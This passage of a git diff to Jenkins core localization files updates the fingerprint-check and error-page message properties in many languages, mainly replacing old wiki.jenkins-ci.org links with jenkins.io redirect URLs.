                                                    \u0392\u03C1\u03B5\u03AF\u03C4\u03B5 \u03C4\u03B7\u03BD \u03B5\u03BB\u03AD\u03B3\u03C7\u03BF\u03BD\u03C4\u03B1\u03C2 \u03C4\u03BF \u03C8\u03B7\u03C6\u03B9\u03B1\u03BA\u03CC \u03B1\u03C0\u03BF\u03C4\u03CD\u03C0\u03C9\u03BC\u03B1 \u03C4\u03BF\u03C5 \u03B1\u03C1\u03C7\u03B5\u03AF\u03BF\u03C5 \u03BA\u03B1\u03B9 \u03C3\u03C5\u03B3\u03BA\u03C1\u03AF\u03BD\u03BF\u03BD\u03C4\u03AC\u03C2 \u03C4\u03BF \u03BC\u03B5 \u03C4\u03B7 \u03B2\u03AC\u03C3\u03B7 \u03B1\u03C0\u03BF\u03C4\u03C5\u03C0\u03C9\u03BC\u03AC\u03C4\u03C9\u03BD \u03C3\u03C4\u03BF Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u03C0\u03B5\u03C1\u03B9\u03C3\u03C3\u03CC\u03C4\u03B5\u03C1\u03B5\u03C2 \u03BB\u03B5\u03C0\u03C4\u03BF\u03BC\u03AD\u03C1\u03B5\u03B9\u03B5\u03C2 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties index c00710f8db..1ea94a235d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_es.properties @@ -23,7 +23,7 @@ description=\ Si tienes un fichero ''jar'' en tu disco duro del que desconoces su versión
                                                    \ Puedes identificarlo enviandolo a Jenkins para que busque su firma en la base de datos de firmas registradas. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint File\ to\ check=Selecciona un fichero para comprobar Check=Comprobar Check\ File\ Fingerprint=Comprobar ficheros diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties index e6d166f3d3..64b9adc2bf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_fr.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=V File\ to\ check=Fichier à vérifier Check=Vérifier description=Vous avez un fichier jar mais vous ne connaissez pas sa version ?
                                                    Vous pourrez la trouver en comparant l''empreinte num\u00E9rique avec celles dans la base de donn\u00E9es de Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=plus de détails diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties index 641e36be55..3b43850a2c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ja.properties @@ -27,4 +27,4 @@ description=\ jar\u30D5\u30A1\u30A4\u30EB\u3092\u53D6\u5F97\u3057\u305F\u306E\u306B\u3001\u3069\u306E\u30D0\u30FC\u30B8\u30E7\u30F3\u304B\u5206\u304B\u3089\u306A\u3044\u306E\u3067\u3059\u304B?
                                                    \ Jenkins\u306E\u30C7\u30FC\u30BF\u30D9\u30FC\u30B9\u3067\u30D5\u30A1\u30A4\u30EB\u6307\u7D0B\u3092\u30C1\u30A7\u30C3\u30AF\u3059\u308C\u3070\u3001\u5206\u304B\u308A\u307E\u3059\u3002 more\ details=\u8A73\u7D30 -fingerprint.link=http://wiki.jenkins-ci.org/display/JA/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties index 7478165497..cb3c706f65 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lt.properties @@ -1,7 +1,7 @@ description=\ Gavote jar fail\u0105 bet ne\u017einote, kokia jo versija?
                                                    \ Su\u017einokite patikrindami antspaud\u0105 Jenkinso duomen\u0173 baz\u0117je -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint Check=Tikrinti Check\ File\ Fingerprint=Tikrinti failo antspaud\u0105 more\ details=daugiau informacijos diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties index 975749fb63..0f20c4fb47 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_lv.properties @@ -24,5 +24,5 @@ Check=P\u0101rbaud\u012Bt Check\ File\ Fingerprint=P\u0101rbaude Faila Nospiedumam File\ to\ check=Fails, kuru p\u0101baud\u012Bt description=Ir *.jar fails, kuram nezini versiju?
                                                    Uzzini to, p\u0101rbaudot pirkstu nospiedumu pret Jenkins datub\u0101zi. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=vair\u0101k inform\u0101cijas diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties index 5e41e8d23b..0b90844761 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_nl.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=Controleer de vingerafdruk van bestanden File\ to\ check=Te controleren bestand Check=Controleren description=Heb je een jar-bestand waarvan je de versie niet weet?
                                                    Vind de versie door de vingerafdruk te controleren tegen de databank in Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=meer details diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties index b07d6409b6..adf8853649 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pl.properties @@ -24,5 +24,5 @@ Check=Sprawd\u017A Check\ File\ Fingerprint=Wyszukaj wyst\u0105pienia artefaktu File\ to\ check=Plik do sprawdzenia description=Masz plik ale nie wiesz w kt\u00F3rych zadaniach wyst\u0119puje?
                                                    Wyszukaj je w bazie danych Jenkinsa. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=wi\u0119cej detali diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties index 65888e0336..54b45f3935 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_pt_BR.properties @@ -23,8 +23,8 @@ Check\ File\ Fingerprint=Verificar impress\u00E3o digital do arquivo File\ to\ check=Arquivo para verificar Check=Verificar -# https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +# https://jenkins.io/redirect/fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint # \ # Got a jar file but don''t know which version it is?
                                                    \ # Find that out by checking the fingerprint against \ diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties index 9866aee188..2bda6cc429 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_ru.properties @@ -24,5 +24,5 @@ Check\ File\ Fingerprint=\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c File\ to\ check=\u0424\u0430\u0439\u043b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Check=\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c description=\u041D\u0435 \u0437\u043D\u0430\u0435\u0442\u0435 \u0432\u0435\u0440\u0441\u0438\u044E Jar-\u0444\u0430\u0439\u043B\u0430?
                                                    \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044C \u0432\u0430\u0448 jar-\u0444\u0430\u0439\u043B \u0434\u043B\u044F \u0435\u0433\u043E \u0441\u0440\u0430\u0432\u043D\u0435\u043D\u0438\u044F \u0441 \u0431\u0430\u0437\u043E\u0439 \u043E\u0442\u043F\u0435\u0447\u0430\u0442\u043A\u043E\u0432 \u0444\u0430\u0439\u043B\u043E\u0432 Jenkins -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u0434\u043E\u043F\u043E\u043B\u043D\u0438\u0442\u0435\u043B\u044C\u043D\u0430\u044F \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties index 3d4ccea16d..714bd48aa4 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sk.properties @@ -3,5 +3,5 @@ Check=Skontroluj Check\ File\ Fingerprint=Skontroluj odtla\u010Dok s\u00FAboru File\ to\ check=S\u00FAbor na kontrolu -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=viac detailov diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties index 786cab1e46..5e41956e63 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sr.properties @@ -3,7 +3,7 @@ Check\ File\ Fingerprint=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 description=\u041D\u0435\u0437\u043D\u0430\u0442\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 \u043E\u0434 \u043D\u0435\u043A\u0435 '.jar' \u0430\u0440\u0445\u0438\u0432\u0435?
                                                    \ \u041F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 \u043F\u043E \u0434\u0438\u0433\u0438\u0442\u0430\u043B\u043D\u043E\u043C \u043E\u0442\u0438\u0441\u043A\u0443. -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u0412\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430 File\ to\ check=\u0410\u0440\u0445\u0438\u0432\u0430 \u0437\u0430 \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0432\u0430\u045A\u0435 Check=\u041F\u0440\u043E\u0432\u0435\u0440\u0438 diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties index 4a8deba12d..0e75e28d39 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_sv_SE.properties @@ -24,5 +24,5 @@ Check=Kontrollera Check\ File\ Fingerprint=Kontrollera filkontrollsumma File\ to\ check=Fil att kontrollera description=Har du en jar fil men vet inte vilket version den \u00E4r?
                                                    Kontrollera det via kontrollsumman i Jenkins databas -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=mer detaljer diff --git a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties index 7571b68fc0..3258dafaee 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/fingerprintCheck_zh_TW.properties @@ -22,7 +22,7 @@ Check\ File\ Fingerprint=\u6aa2\u67e5\u6a94\u6848\u6307\u7d0b description=\u624B\u908A\u6709\u500B JAR \u6A94\uFF0C\u4F46\u662F\u537B\u4E0D\u77E5\u9053\u5B83\u5230\u5E95\u662F\u54EA\u4E00\u7248\u7684?
                                                    \u900F\u904E\u6A94\u6848\u7684\u7279\u5FB5\u503C\u5230 Jenkins \u7684\u8CC7\u6599\u5EAB\u88E1\u627E\u770B\u770B\u5427 -fingerprint.link=https://wiki.jenkins-ci.org/display/JENKINS/Fingerprint +fingerprint.link=https://jenkins.io/redirect/fingerprint more\ details=\u8a73\u7d30\u8cc7\u6599 File\ to\ check=\u8981\u6aa2\u67e5\u7684\u6a94\u6848 Check=\u6aa2\u67e5 diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops.jelly b/core/src/main/resources/jenkins/model/Jenkins/oops.jelly index 8c4a1ef74f..baeb4d8275 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/oops.jelly @@ -31,9 +31,9 @@ THE SOFTWARE. - - - + + + diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops.properties b/core/src/main/resources/jenkins/model/Jenkins/oops.properties index b67206fd10..633729e9b1 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops.properties @@ -1,6 +1,6 @@ problemHappened= A problem occurred while processing the request. -checkJIRA= Please check our bug tracker to see if a similar problem has already been reported. +checkJIRA= Please check our bug tracker to see if a similar problem has already been reported. vote= If it is already reported, please vote and put a comment on it to let us gauge the impact of the problem. pleaseReport= If you think this is a new issue, please file a new issue. stackTracePlease= When you file an issue, make sure to add the entire stack trace, along with the version of Jenkins and relevant plugins. -checkML= The users list might be also useful in understanding what has happened. +checkML= The users list might be also useful in understanding what has happened. diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties index d9e8a6f969..badf5f47e6 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_bg.properties @@ -34,9 +34,9 @@ Bug\ tracker=\ \u0421\u043b\u0435\u0434\u0435\u043d\u0435 \u043d\u0430 \u0433\u0440\u0435\u0448\u043a\u0438 Stack\ trace=\ \u0421\u0442\u0435\u043a \u043d\u0430 \u0438\u0437\u0432\u0438\u043a\u0432\u0430\u043d\u0438\u044f\u0442\u0430 -# The users list might be also useful in understanding what has happened. +# The users list might be also useful in understanding what has happened. checkML=\ - \u041f\u043e\u0449\u0435\u043d\u0441\u043a\u0438\u0442\u0435 \u0441\u043f\u0438\u0441\u044a\u0446\u0438\ + \u041f\u043e\u0449\u0435\u043d\u0441\u043a\u0438\u0442\u0435 \u0441\u043f\u0438\u0441\u044a\u0446\u0438\ \u0441\u0430 \u0435\u0434\u043d\u043e \u043e\u0442 \u043c\u0435\u0441\u0442\u0430\u0442\u0430, \u043a\u044a\u0434\u0435\u0442\u043e \u043c\u043e\u0436\u0435 \u0434\u0430 \u043f\u043e\u0442\u044a\u0440\u0441\u0438\u0442\u0435 \u043e\u0431\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. # If you think this is a new issue, please file a new issue. pleaseReport=\ @@ -44,9 +44,9 @@ pleaseReport=\ # A problem occurred while processing the request. problemHappened=\ \u0412\u044a\u0437\u043d\u0438\u043a\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0442\u0430 \u043d\u0430 \u0437\u0430\u044f\u0432\u043a\u0430. -# Please check our bug tracker to see if a similar problem has already been reported. +# Please check our bug tracker to see if a similar problem has already been reported. checkJIRA=\ - \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 \u0437\u0430 \u0433\u0440\u0435\u0448\u043a\u0438\ + \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u0442\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 \u0437\u0430 \u0433\u0440\u0435\u0448\u043a\u0438\ \u0434\u0430\u043b\u0438 \u0442\u043e\u0437\u0438 \u0438\u043b\u0438 \u043f\u043e\u0434\u043e\u0431\u0435\u043d \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432\u0435\u0447\u0435 \u0435 \u0434\u043e\u043a\u043b\u0430\u0434\u0432\u0430\u043d. Twitter\:\ @jenkinsci=\ Twitter: @jenkinsci diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties index f7b002738f..5c969e203d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_ja.properties @@ -21,11 +21,11 @@ # THE SOFTWARE. problemHappened= \u30ea\u30af\u30a8\u30b9\u30c8\u51e6\u7406\u4e2d\u306b\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002 -checkJIRA= \u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u540c\u3058\u3088\u3046\u306a\u554f\u984c\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002 +checkJIRA= \u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u540c\u3058\u3088\u3046\u306a\u554f\u984c\u304c\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002 vote= \u5831\u544a\u6e08\u307f\u3067\u3042\u308c\u3070\u3001\u6295\u7968(vote)\u3057\u3066\u30b3\u30e1\u30f3\u30c8\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u305d\u3046\u3059\u308c\u3070\u3001\u305d\u306e\u554f\u984c\u306e\u5f71\u97ff\u306e\u5927\u304d\u3055\u304c\u958b\u767a\u8005\u306b\u4f1d\u308f\u308a\u307e\u3059\u3002 pleaseReport= \u3082\u3057\u3001\u5831\u544a\u3055\u308c\u3066\u3044\u306a\u3044\u554f\u984c\u3067\u3042\u308c\u3070\u3001\u30c1\u30b1\u30c3\u30c8\u3092\u767b\u9332\u3057\u3066\u304f\u3060\u3055\u3044\u3002 stackTracePlease= \u30c1\u30b1\u30c3\u30c8\u3092\u767b\u9332\u3059\u308b\u3068\u304d\u306b\u306f\u3001Jenkins\u3068\u95a2\u9023\u3059\u308b\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u3068\u3042\u308f\u305b\u3066\u3001\u5fc5\u305a\u30b9\u30bf\u30c3\u30af\u30c8\u30ec\u30fc\u30b9\u3092\u3059\u3079\u3066\u6dfb\u4ed8\u3057\u304f\u3060\u3055\u3044\u3002 -checkML= \u4f55\u304c\u8d77\u304d\u305f\u306e\u304b\u7406\u89e3\u3059\u308b\u306b\u306f\u3001\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8\u304c\u53c2\u8003\u306b\u306a\u308a\u307e\u3059\u3002 +checkML= \u4f55\u304c\u8d77\u304d\u305f\u306e\u304b\u7406\u89e3\u3059\u308b\u306b\u306f\u3001\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8\u304c\u53c2\u8003\u306b\u306a\u308a\u307e\u3059\u3002 Jenkins\ project=JenkinsWeb\u30b5\u30a4\u30c8 Bug\ tracker=\u30d0\u30b0\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0 diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties index 02976a27dc..2c81dbaea9 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_lt.properties @@ -1,9 +1,9 @@ problemHappened=Vykdant u\u017eklaus\u0105 atsitiko problema. -checkJIRA=Pra\u0161ome patikrinti m\u016bs\u0173 problem\u0173 sistem\u0105, ar ten n\u0117ra prane\u0161ta apie pana\u0161i\u0105 problem\u0105. +checkJIRA=Pra\u0161ome patikrinti m\u016bs\u0173 problem\u0173 sistem\u0105, ar ten n\u0117ra prane\u0161ta apie pana\u0161i\u0105 problem\u0105. vote=Jei jau prane\u0161ta, pra\u0161ome balsuoti ir prid\u0117ti komentar\u0173, kad mes gal\u0117tume padidinti \u0161ios problemos svarb\u0105. pleaseReport=Jei galvojate, kad tai nauja problema, pra\u0161ome u\u017epildyti nauj\u0105 problem\u0105. stackTracePlease=Kai pildote problem\u0105, b\u016btinai prid\u0117kite piln\u0105 klaidos i\u0161vest\u012f (stack trace), kartu su Jenkinso ir susijusi\u0173 pried\u0173 versijomis. -checkML=Naudotoj\u0173 s\u0105ra\u0161ynas gali taipogi praversti susigaudant, kas atsitiko. +checkML=Naudotoj\u0173 s\u0105ra\u0161ynas gali taipogi praversti susigaudant, kas atsitiko. Jenkins\ project=Jenkinso projektas Stack\ trace=Klaid\u0173 i\u0161klotin\u0117 Oops!=Oi! diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties index 929608cafd..966fd834bd 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_pt_BR.properties @@ -24,8 +24,8 @@ problemHappened=Um problema ocorreu durante o processamento da requisi\u00e7\u00e3o. # If it is already reported, please vote and put a comment on it to let us gauge the impact of the problem. vote=Caso tenha sido reportado, por favor vote e comente para que possamos medir o impacto do problema. -# Please check our bug tracker to see if a similar problem has already been reported. -checkJIRA=Por favor verifique nosso bug tracker para verificar se um problema similar j\u00e1 foi reportado. +# Please check our bug tracker to see if a similar problem has already been reported. +checkJIRA=Por favor verifique nosso bug tracker para verificar se um problema similar j\u00e1 foi reportado. Bug\ tracker=Bug tracker Stack\ trace=Stack trace Mailing\ Lists=Listas de e-mail @@ -34,7 +34,7 @@ Jenkins\ project=Projeto Jenkins Oops!=Ops! # If you think this is a new issue, please file a new issue. pleaseReport=Caso voc\u00ea acredite que seja um novo problema, por favor preencha uma reclama\u00e7\u00e3o -# The users list might be also useful in understanding what has happened. -checkML=A lista de usu\u00e1rios pode ser \u00fatil para entender o que aconteceu. +# The users list might be also useful in understanding what has happened. +checkML=A lista de usu\u00e1rios pode ser \u00fatil para entender o que aconteceu. # When you file an issue, make sure to add the entire stack trace, along with the version of Jenkins and relevant plugins. stackTracePlease=Quando voc\u00ea preencher uma reclama\u00e7\u00e3o, assegure-se de adicionar o stack trace completo, junto com a vers\u00e3o do Jenkins e plugins relevantes. diff --git a/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties index e89619a689..26bb3cee5b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/oops_sr.properties @@ -6,9 +6,9 @@ Mailing\ Lists=Mailing \u043B\u0441\u0438\u0442\u0435 Twitter\:\ @jenkinsci=Twitter: @jenkinsci Oops\!=\u041F\u0440\u043E\u0431\u043B\u0435\u043C! problemHappened=\u0414\u043E\u0448\u043B\u043E \u0458\u0435 \u0434\u043E \u0433\u0440\u0435\u0448\u043A\u0435 \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u043E\u0431\u0440\u0430\u0434\u0435 \u0437\u0430\u0445\u0442\u0435\u0432\u0430. -checkJIRA=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0434\u0430 \u043D\u0438\u0458\u0435 \u043D\u0435\u043A\u043E \u0432\u0435\u045B \u0434\u0430\u043E \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0443. +checkJIRA=\u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 \u0434\u0430 \u043D\u0438\u0458\u0435 \u043D\u0435\u043A\u043E \u0432\u0435\u045B \u0434\u0430\u043E \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0443. vote=\u0410\u043A\u043E \u0432\u0435\u045B \u0438\u043C\u0430 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458\u0430, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0433\u043B\u0430\u0441\u0430\u0458\u0442\u0435 \u0438 \u043E\u0441\u0442\u0430\u0432\u0438\u0442\u0435 \u043A\u043E\u043C\u0435\u043D\u0442\u0430\u0440 \u0434\u0430 \u0431\u0438\u0445 \u043C\u043E\u0433\u043B\u0438 \u043F\u0440\u0430\u0442\u0438\u043B\u0438 \u0448\u0438\u0440\u0438\u043D\u0443 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430. pleaseReport=\u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u043D\u043E\u0432\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u043E\u0434\u043D\u0435\u0441\u0438\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0438\u0458 \u043E \u045A\u0435\u043C\u0443. stackTracePlease=\u041A\u0430\u0434 \u0434\u0430\u0458\u0435\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458, \u043C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u043F\u0440\u043E\u0441\u043B\u0435\u0434\u0438\u0442\u0435 \u0446\u0435\u043B\u0443 \u0442\u0440\u0430\u0441\u0443 \u0441\u0442\u0435\u043A\u0430, \u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0435 Jenkins-\u0430 \u0438 \u0431\u0438\u0442\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430. -checkML=\u0421\u043F\u0438\u0441\u0430\u043A \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u043C\u043E\u0436\u0435 \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u045B\u0438 \u0434\u0430 \u043D\u0430\u0452\u0435\u0442\u0435 \u0448\u0442\u0430 \u0441\u0435 \u0434\u043E\u0433\u043E\u0434\u0438\u043B\u043E. +checkML=\u0421\u043F\u0438\u0441\u0430\u043A \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u0430 \u043C\u043E\u0436\u0435 \u0432\u0430\u043C \u043F\u043E\u043C\u043E\u045B\u0438 \u0434\u0430 \u043D\u0430\u0452\u0435\u0442\u0435 \u0448\u0442\u0430 \u0441\u0435 \u0434\u043E\u0433\u043E\u0434\u0438\u043B\u043E. Stack\ trace=\u0422\u0440\u0430\u0441\u0430 \u0441\u0442\u0435\u043A\u0443 diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties index eb7d9a9923..e2eda72ec0 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help.properties @@ -25,4 +25,4 @@ body=\ When you have projects that depend on each other, Jenkins can track which build of \ the upstream project is used by which build of the downstream project, by using \ the records created by \ - the fingerprint support. + the fingerprint support. diff --git a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties index d652e444e0..60264c429d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/projectRelationship-help_bg.properties +++ 